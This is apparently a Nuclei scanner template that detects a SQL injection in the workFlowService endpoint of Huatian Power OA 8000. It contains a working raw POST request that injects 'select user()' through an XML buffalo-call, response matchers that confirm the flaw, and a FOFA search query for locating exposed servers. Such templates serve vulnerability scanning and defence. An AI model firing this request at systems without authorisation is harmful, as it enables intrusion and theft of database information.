huatian-oa-sqli: Huatian Power OA 8000 - SQL Injection

id: huatian-oa-sqli

info:
  name: Huatian Power OA 8000 - SQL Injection
  author: ritikchaddha
  severity: high
  description: |
    There is a SQL injection vulnerability in the workFlowService interface of Huatian Power OA 8000. An attacker can exploit this vulnerability to obtain sensitive database information.
  reference:
    - https://blog.csdn.net/qq_41617034/article/details/124305120
  metadata:
    verified: true
    max-request: 1
    fofa-query: "app=\"华天动力-OA8000\""
  tags: huatian,oa,sqli,vuln

http:
  - raw:
      - |
        POST /OAapp/bfapp/buffalo/workFlowService HTTP/1.1
        Host: {{Hostname}}

        <buffalo-call>
        <method>getDataListForTree</method>
        <string>select user()</string>
        </buffalo-call>

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "<list>" ,"<string>user()" ,"<length>")'
          - 'contains(header, "text/xml")'
          - 'status_code == 200'
        condition: and
# digest: 490a00463044022001b3c6d26633670b64edddd876969beae522565c790ae46ac8965196f627a6080220206971c61cae650cd7542ca41668f1dfa54f7c4e23cedc40b403373a616f435b:922c64590222798bb761d5b6d8e72950